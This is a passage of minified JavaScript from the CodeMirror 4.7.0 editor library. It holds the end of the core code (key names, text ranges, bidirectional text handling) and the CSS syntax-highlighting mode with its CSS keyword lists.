b){return a.indexOf(b)});[].map&&(lb=function(a,b){return a.map(b)});var $f=/[\u00df\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,Se=n.isWordChar=function(a){return/\w/.test(a)||"\u0080"<a&&(a.toUpperCase()!=a.toLowerCase()||$f.test(a))},Tf=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/,
Ma;Ma=document.createRange?function(a,b,c){var d=document.createRange();d.setEnd(a,c);d.setStart(a,b);return d}:function(a,b,c){var d=document.body.createTextRange();d.moveToElementText(a.parentNode);d.collapse(!0);d.moveEnd("character",c);d.moveStart("character",b);return d};z&&11>C&&(ka=function(){try{return document.activeElement}catch(a){return document.body}});var td=!1,wf=function(){if(z&&9>C)return!1;var a=t("div");return"draggable"in a||"dragDrop"in a}(),vb,pd,ld,Ba=n.splitLines=3!="\n\nb".split(/\n/).length?
function(a){for(var b=0,c=[],d=a.length;b<=d;){var e=a.indexOf("\n",b);-1==e&&(e=a.length);var f=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),g=f.indexOf("\r");-1!=g?(c.push(f.slice(0,g)),b+=g+1):(c.push(f),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},sf=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return b&&b.parentElement()==a?0!=b.compareEndPoints("StartToEnd",b):!1},be=
function(){var a=t("div");if("oncopy"in a)return!0;a.setAttribute("oncopy","return;");return"function"==typeof a.oncopy}(),Pc=null,ra={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",
192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};n.keyNames=ra;(function(){for(var a=0;10>a;a++)ra[a+48]=ra[a+96]=String(a);for(a=65;90>=a;a++)ra[a]=String.fromCharCode(a);for(a=1;12>=a;a++)ra[a+111]=ra[a+63235]="F"+a})();var ib,Rf=function(){function a(a){return 247>=a?"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN".charAt(a):
1424<=a&&1524>=a?"R":1536<=a&&1773>=a?"rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm".charAt(a-1536):1774<=a&&2220>=a?"r":8192<=a&&8203>=a?"w":8204==a?"b":"L"}function b(a,b,c){this.level=a;this.from=b;this.to=c}var c=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,d=/[stwN]/,e=/[LRr]/,f=/[Lb1n]/,g=/[1n]/;return function(h){if(!c.test(h))return!1;
for(var k=h.length,l=[],m=0,n;m<k;++m)l.push(a(h.charCodeAt(m)));for(var m=0,p="L";m<k;++m)n=l[m],"m"==n?l[m]=p:p=n;m=0;for(p="L";m<k;++m)n=l[m],"1"==n&&"r"==p?l[m]="n":e.test(n)&&(p=n,"r"==n&&(l[m]="R"));m=1;for(p=l[0];m<k-1;++m)n=l[m],"+"==n&&"1"==p&&"1"==l[m+1]?l[m]="1":","!=n||p!=l[m+1]||"1"!=p&&"n"!=p||(l[m]=p),p=n;for(m=0;m<k;++m)if(n=l[m],","==n)l[m]="N";else if("%"==n){for(p=m+1;p<k&&"%"==l[p];++p);var q=m&&"!"==l[m-1]||p<k&&"1"==l[p]?"1":"N";for(n=m;n<p;++n)l[n]=q;m=p-1}m=0;for(p="L";m<k;++m)n=
l[m],"L"==p&&"1"==n?l[m]="L":e.test(n)&&(p=n);for(m=0;m<k;++m)if(d.test(l[m])){for(p=m+1;p<k&&d.test(l[p]);++p);n="L"==(p<k?l[p]:"L");q="L"==(m?l[m-1]:"L")||n?"L":"R";for(n=m;n<p;++n)l[n]=q;m=p-1}for(var p=[],t,m=0;m<k;)if(f.test(l[m])){n=m;for(++m;m<k&&f.test(l[m]);++m);p.push(new b(0,n,m))}else{var s=m,q=p.length;for(++m;m<k&&"L"!=l[m];++m);for(n=s;n<m;)if(g.test(l[n])){s<n&&p.splice(q,0,new b(1,s,n));s=n;for(++n;n<m&&g.test(l[n]);++n);p.splice(q,0,new b(2,s,n));s=n}else++n;s<m&&p.splice(q,0,new b(1,
s,m))}1==p[0].level&&(t=h.match(/^\s+/))&&(p[0].from=t[0].length,p.unshift(new b(0,0,t[0].length)));1==A(p).level&&(t=h.match(/\s+$/))&&(A(p).to-=t[0].length,p.push(new b(0,k-t[0].length,k)));p[0].level!=A(p).level&&p.push(new b(p[0].level,k,k));return p}}();n.version="4.7.0";return n});
// CodeMirror CSS mode version 4.7.0
(function(k){"object"==typeof exports&&"object"==typeof module?k(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],k):k(CodeMirror)})(function(k){function l(g){for(var d={},f=0;f<g.length;++f)d[g[f]]=!0;return d}function w(g,d){for(var f=!1,k;null!=(k=g.next());){if(f&&"/"==k){d.tokenize=null;break}f="*"==k}return["comment","comment"]}function r(g,d){g.skipTo("--\x3e")?(g.match("--\x3e"),d.tokenize=null):g.skipToEnd();return["comment","comment"]}
k.defineMode("css",function(g,d){function f(a,c){z=c;return a}function l(a,c){var b=a.next();if(v[b]){var d=v[b](a,c);if(!1!==d)return d}if("@"==b)return a.eatWhile(/[\w\\\-]/),f("def",a.current());if("="==b||("~"==b||"|"==b)&&a.eat("="))return f(null,"compare");if('"'==b||"'"==b)return c.tokenize=p(b),c.tokenize(a,c);if("#"==b)return a.eatWhile(/[\w\\\-]/),f("atom","hash");if("!"==b)return a.match(/^\s*\w*/),f("keyword","important");if(/\d/.test(b)||"."==b&&a.eat(/\d/))return a.eatWhile(/[\w.%]/),
f("number","unit");if("-"===b){if(/[\d.]/.test(a.peek()))return a.eatWhile(/[\w.%]/),f("number","unit");if(a.match(/^\w+-/))return f("meta","meta")}else return/[,+>*\/]/.test(b)?f(null,"select-op"):"."==b&&a.match(/^-?[_a-z][_a-z0-9-]*/i)?f("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(b)?f(null,b):"u"==b&&a.match("rl(")?(a.backUp(1),c.tokenize=w,f("property","word")):/[\w\\\-]/.test(b)?(a.eatWhile(/[\w\\\-]/),f("property","word")):f(null,null)}function p(a){return function(c,b){for(var d=!1,e;null!=
(e=c.next());){if(e==a&&!d){")"==a&&c.backUp(1);break}d=!d&&"\\"==e}if(e==a||!d&&")"!=a)b.tokenize=null;return f("string","string")}}function w(a,c){a.next();a.match(/\s*[\"\')]/,!1)?c.tokenize=null:c.tokenize=p(")");return f(null,"(")}function r(a,c,b){this.type=a;this.indent=c;this.prev=b}function h(a,c,b){a.context=new r(b,c.indentation()+u,a.context);return b}function m(a){a.context=a.context.prev;return a.context.type}function q(a,c,b,d){for(d=d||1;0<d;d--)b.context=b.context.prev;return n[b.context.type](a,
c,b)}function t(a){a=a.current().toLowerCase();e=D.hasOwnProperty(a)?"atom":C.hasOwnProperty(a)?"keyword":"variable"}d.propertyKeywords||(d=k.resolveMode("text/css"));var u=g.indentUnit,v=d.tokenHooks,x=d.mediaTypes||{},y=d.mediaFeatures||{},A=d.propertyKeywords||{},B=d.nonStandardPropertyKeywords||{},C=d.colorKeywords||{},D=d.valueKeywords||{},E=d.fontProperties||{},s=d.allowNested,z,e,n={top:function(a,c,b){if("{"==a)return h(b,c,"block");if("}"==a&&b.context.prev)return m(b);if("@media"==a)return h(b,
c,"media");if("@font-face"==a)return"font_face_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return"keyframes";if(a&&"@"==a.charAt(0))return h(b,c,"at");if("hash"==a)e="builtin";else if("word"==a)e="tag";else{if("variable-definition"==a)return"maybeprop";if("interpolation"==a)return h(b,c,"interpolation");if(":"==a)return"pseudo";if(s&&"("==a)return h(b,c,"parens")}return b.context.type},block:function(a,c,b){if("word"==a){a=c.current().toLowerCase();if(A.hasOwnProperty(a))return e="property",
"maybeprop";if(B.hasOwnProperty(a))return e="string-2","maybeprop";if(s)return e=c.match(/^\s*:/,!1)?"property":"tag","block";e+=" error";return"maybeprop"}if("meta"==a)return"block";if(s||"hash"!=a&&"qualifier"!=a)return n.top(a,c,b);e="error";return"block"},maybeprop:function(a,c,b){return":"==a?h(b,c,"prop"):n[b.context.type](a,c,b)},prop:function(a,c,b){if(";"==a)return m(b);if("{"==a&&s)return h(b,c,"propBlock");if("}"==a||"{"==a)return q(a,c,b);if("("==a)return h(b,c,"parens");if("hash"==a&&
!/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(c.current()))e+=" error";else if("word"==a)t(c);else if("interpolation"==a)return h(b,c,"interpolation");return"prop"},propBlock:function(a,c,b){return"}"==a?m(b):"word"==a?(e="property","maybeprop"):b.context.type},parens:function(a,c,b){if("{"==a||"}"==a)return q(a,c,b);if(")"==a)return m(b);if("("==a)return h(b,c,"parens");"word"==a&&t(c);return"parens"},pseudo:function(a,c,b){return"word"==a?(e="variable-3",b.context.type):n[b.context.type](a,c,b)},media:function(a,
c,b){if("("==a)return h(b,c,"media_parens");if("}"==a)return q(a,c,b);if("{"==a)return m(b)&&h(b,c,s?"block":"top");"word"==a&&(a=c.current().toLowerCase(),e="only"==a||"not"==a||"and"==a?"keyword":x.hasOwnProperty(a)?"attribute":y.hasOwnProperty(a)?"property":"error");return b.context.type},media_parens:function(a,c,b){return")"==a?m(b):"{"==a||"}"==a?q(a,c,b,2):n.media(a,c,b)},font_face_before:function(a,c,b){return"{"==a?h(b,c,"font_face"):n[b.context.type](a,c,b)},font_face:function(a,c,b){return"}"==
a?m(b):"word"==a?(e=E.hasOwnProperty(c.current().toLowerCase())?"property":"error","maybeprop"):"font_face"},keyframes:function(a,c,b){return"word"==a?(e="variable","keyframes"):"{"==a?h(b,c,"top"):n[b.context.type](a,c,b)},at:function(a,c,b){if(";"==a)return m(b);if("{"==a||"}"==a)return q(a,c,b);"word"==a?e="tag":"hash"==a&&(e="builtin");return"at"},interpolation:function(a,c,b){if("}"==a)return m(b);if("{"==a||";"==a)return q(a,c,b);"variable"!=a&&(e="error");return"interpolation"}};return{startState:function(a){return{tokenize:null,
state:"top",context:new r("top",a||0,null)}},token:function(a,c){if(!c.tokenize&&a.eatSpace())return null;var b=(c.tokenize||l)(a,c);b&&"object"==typeof b&&(z=b[1],b=b[0]);e=b;c.state=n[c.state](z,a,c);return e},indent:function(a,c){var b=a.context,d=c&&c.charAt(0),e=b.indent;"prop"!=b.type||"}"!=d&&")"!=d||(b=b.prev);!b.prev||("}"!=d||"block"!=b.type&&"top"!=b.type&&"interpolation"!=b.type&&"font_face"!=b.type)&&(")"!=d||"parens"!=b.type&&"media_parens"!=b.type)&&("{"!=d||"at"!=b.type&&"media"!=
b.type)||(e=b.indent-u);return e},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});var p="all aural braille handheld print projection screen tty tv embossed".split(" "),A=l(p),t="width min-width max-width height min-height max-height device-width min-device-width max-device-width device-height min-device-height max-device-height aspect-ratio min-aspect-ratio max-aspect-ratio device-aspect-ratio min-device-aspect-ratio max-device-aspect-ratio color min-color max-color color-index min-color-index max-color-index monochrome min-monochrome max-monochrome resolution min-resolution max-resolution scan grid".split(" "),
B=l(t),u="align-content align-items align-self alignment-adjust alignment-baseline anchor-point animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function appearance azimuth backface-visibility background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size baseline-shift binding bleed bookmark-label bookmark-level bookmark-state bookmark-target border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width bottom box-decoration-break box-shadow box-sizing break-after break-before break-inside caption-side clear clip color color-profile column-count column-fill column-gap column-rule column-rule-color column-rule-style column-rule-width column-span column-width columns content counter-increment counter-reset crop cue cue-after cue-before cursor direction display dominant-baseline drop-initial-after-adjust drop-initial-after-align drop-initial-before-adjust drop-initial-before-align drop-initial-size drop-initial-value elevation empty-cells fit fit-position flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap float float-offset flow-from flow-into font font-feature-settings font-family font-kerning font-language-override font-size font-size-adjust font-stretch font-style font-synthesis font-variant font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric font-variant-position font-weight grid grid-area grid-auto-columns grid-auto-flow grid-auto-position grid-auto-rows grid-column grid-column-end grid-column-start grid-row grid-row-end grid-row-start grid-template grid-template-areas grid-template-columns grid-template-rows hanging-punctuation height hyphens icon image-orientation image-rendering image-resolution inline-box-align justify-content left letter-spacing line-break line-height line-stacking line-stacking-ruby line-stacking-shift line-stacking-strategy list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top marker-offset marks marquee-direction marquee-loop marquee-play-count marquee-speed marquee-style max-height max-width min-height min-width move-to nav-down nav-index nav-left nav-right nav-up object-fit object-position opacity order orphans outline outline-color outline-offset outline-style outline-width overflow overflow-style overflow-wrap overflow-x overflow-y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside page-policy pause pause-after pause-before perspective perspective-origin pitch pitch-range play-during position presentation-level punctuation-trim quotes region-break-after region-break-before region-break-inside region-fragment rendering-intent resize rest rest-after rest-before richness right rotation rotation-point ruby-align ruby-overhang ruby-position ruby-span shape-image-threshold shape-inside shape-margin shape-outside size speak speak-as speak-header speak-numeral speak-punctuation speech-rate stress string-set tab-size table-layout target target-name target-new target-position text-align text-align-last text-decoration text-decoration-color text-decoration-line text-decoration-skip text-decoration-style text-emphasis text-emphasis-color text-emphasis-position text-emphasis-style text-height text-indent text-justify text-outline text-overflow text-shadow text-size-adjust text-space-collapse text-transform text-underline-position text-wrap top transform transform-origin transform-style transition transition-delay transition-duration transition-property transition-timing-function unicode-bidi vertical-align visibility voice-balance voice-duration voice-family voice-pitch voice-range voice-rate voice-stress voice-volume volume white-space widows width word-break word-spacing word-wrap z-index clip-path clip-rule mask enable-background filter flood-color flood-opacity lighting-color stop-color stop-opacity pointer-events color-interpolation color-interpolation-filters color-rendering fill fill-opacity fill-rule image-rendering marker marker-end marker-mid marker-start shape-rendering stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-rendering baseline-shift dominant-baseline glyph-orientation-horizontal glyph-orientation-vertical text-anchor writing-mode".split(" "),
C=l(u),v="scrollbar-arrow-color scrollbar-base-color scrollbar-dark-shadow-color scrollbar-face-color scrollbar-highlight-color scrollbar-shadow-color scrollbar-3d-light-color scrollbar-track-color shape-inside searchfield-cancel-button searchfield-decoration searchfield-results-button searchfield-results-decoration zoom".split(" "),D=l(v),x="aliceblue antiquewhite aqua aquamarine azure beige bisque black blanchedalmond blue blueviolet brown burlywood cadetblue chartreuse chocolate coral cornflowerblue cornsilk crimson cyan darkblue darkcyan darkgoldenrod darkgray darkgreen darkkhaki darkmagenta darkolivegreen darkorange darkorchid darkred darksalmon darkseagreen darkslateblue darkslategray darkturquoise darkviolet deeppink deepskyblue dimgray dodgerblue firebrick floralwhite forestgreen fuchsia gainsboro ghostwhite gold goldenrod gray grey green greenyellow honeydew hotpink indianred indigo ivory khaki lavender lavenderblush lawngreen lemonchiffon lightblue lightcoral lightcyan lightgoldenrodyellow lightgray lightgreen lightpink lightsalmon lightseagreen lightskyblue lightslategray lightsteelblue lightyellow lime limegreen linen magenta maroon mediumaquamarine mediumblue mediumorchid mediumpurple mediumseagreen mediumslateblue mediumspringgreen mediumturquoise mediumvioletred midnightblue mintcream mistyrose moccasin navajowhite navy oldlace olive olivedrab orange orangered orchid palegoldenrod palegreen paleturquoise palevioletred papayawhip peachpuff peru pink plum powderblue purple rebeccapurple red rosybrown royalblue saddlebrown salmon sandybrown seagreen seashell sienna silver skyblue slateblue slategray snow springgreen steelblue tan teal thistle tomato turquoise violet wheat white whitesmoke yellow yellowgreen".split(" "),
E=l(x),y="above absolute activeborder activecaption afar after-white-space ahead alias all all-scroll alternate always amharic amharic-abegede antialiased appworkspace arabic-indic armenian asterisks auto avoid avoid-column avoid-page avoid-region background backwards baseline below bidi-override binary bengali blink block block-axis bold bolder border border-box both bottom break break-all break-word button button-bevel buttonface buttonhighlight buttonshadow buttontext cambodian capitalize caps-lock-indicator caption captiontext caret cell center checkbox circle cjk-earthly-branch cjk-heavenly-stem cjk-ideographic clear clip close-quote col-resize collapse column compact condensed contain content content-box context-menu continuous copy cover crop cross crosshair currentcolor cursive dashed decimal decimal-leading-zero default default-button destination-atop destination-in destination-out destination-over devanagari disc discard document dot-dash dot-dot-dash dotted double down e-resize ease ease-in ease-in-out ease-out element ellipse ellipsis embed end ethiopic ethiopic-abegede ethiopic-abegede-am-et ethiopic-abegede-gez ethiopic-abegede-ti-er ethiopic-abegede-ti-et ethiopic-halehame-aa-er ethiopic-halehame-aa-et ethiopic-halehame-am-et ethiopic-halehame-gez ethiopic-halehame-om-et ethiopic-halehame-sid-et ethiopic-halehame-so-et ethiopic-halehame-ti-er ethiopic-halehame-ti-et ethiopic-halehame-tig ew-resize expanded extra-condensed extra-expanded fantasy fast fill fixed flat footnotes forwards from geometricPrecision georgian graytext groove gujarati gurmukhi hand hangul hangul-consonant hebrew help hidden hide higher highlight highlighttext hiragana hiragana-iroha horizontal hsl hsla icon ignore inactiveborder inactivecaption inactivecaptiontext infinite infobackground infotext inherit initial inline inline-axis inline-block inline-table inset inside intrinsic invert italic justify kannada katakana katakana-iroha keep-all khmer landscape lao large larger left level lighter line-through linear lines list-item listbox listitem local logical loud lower lower-alpha lower-armenian lower-greek lower-hexadecimal lower-latin lower-norwegian lower-roman lowercase ltr malayalam match media-controls-background media-current-time-display media-fullscreen-button media-mute-button media-play-button media-return-to-realtime-button media-rewind-button media-seek-back-button media-seek-forward-button media-slider media-sliderthumb media-time-remaining-display media-volume-slider media-volume-slider-container media-volume-sliderthumb medium menu menulist menulist-button menulist-text menulist-textfield menutext message-box middle min-intrinsic mix mongolian monospace move multiple myanmar n-resize narrower ne-resize nesw-resize no-close-quote no-drop no-open-quote no-repeat none normal not-allowed nowrap ns-resize nw-resize nwse-resize oblique octal open-quote optimizeLegibility optimizeSpeed oriya oromo outset outside outside-shape overlay overline padding padding-box painted page paused persian plus-darker plus-lighter pointer polygon portrait pre pre-line pre-wrap preserve-3d progress push-button radio read-only read-write read-write-plaintext-only rectangle region relative repeat repeat-x repeat-y reset reverse rgb rgba ridge right round row-resize rtl run-in running s-resize sans-serif scroll scrollbar se-resize searchfield searchfield-cancel-button searchfield-decoration searchfield-results-button searchfield-results-decoration semi-condensed semi-expanded separate serif show sidama single skip-white-space slide slider-horizontal slider-vertical sliderthumb-horizontal sliderthumb-vertical slow small small-caps small-caption smaller solid somali source-atop source-in source-out source-over space square square-button start static status-bar stretch stroke sub subpixel-antialiased super sw-resize table table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group telugu text text-bottom text-top textarea textfield thai thick thin threeddarkshadow threedface threedhighlight threedlightshadow threedshadow tibetan tigre tigrinya-er tigrinya-er-abegede tigrinya-et tigrinya-et-abegede to top transparent ultra-condensed ultra-expanded underline up upper-alpha upper-armenian upper-greek upper-hexadecimal upper-latin upper-norwegian upper-roman uppercase urdu url vertical vertical-text visible visibleFill visiblePainted visibleStroke visual w-resize wait wave wider window windowframe windowtext x-large x-small xor xx-large xx-small".split(" "),
F=l(y),G=l("font-family src unicode-range font-variant font-feature-settings font-stretch font-weight font-style".split(" ")),p=p.concat(t).concat(u).concat(v).concat(x).concat(y);k.registerHelper("hintWords","css",p);k.defineMIME("text/css",{mediaTypes:A,mediaFeatures:B,propertyKeywords:C,nonStandardPropertyKeywords:D,colorKeywords:E,valueKeywords:F,fontProperties:G,tokenHooks:{"<":function(g,d){if(!g.match("!--"))return!1;d.tokenize=r;return r(g,d)},"/":function(g,d){if(!g.eat("*"))return!1;d.tokenize=
w;return w(g,d)}},name:"css"})});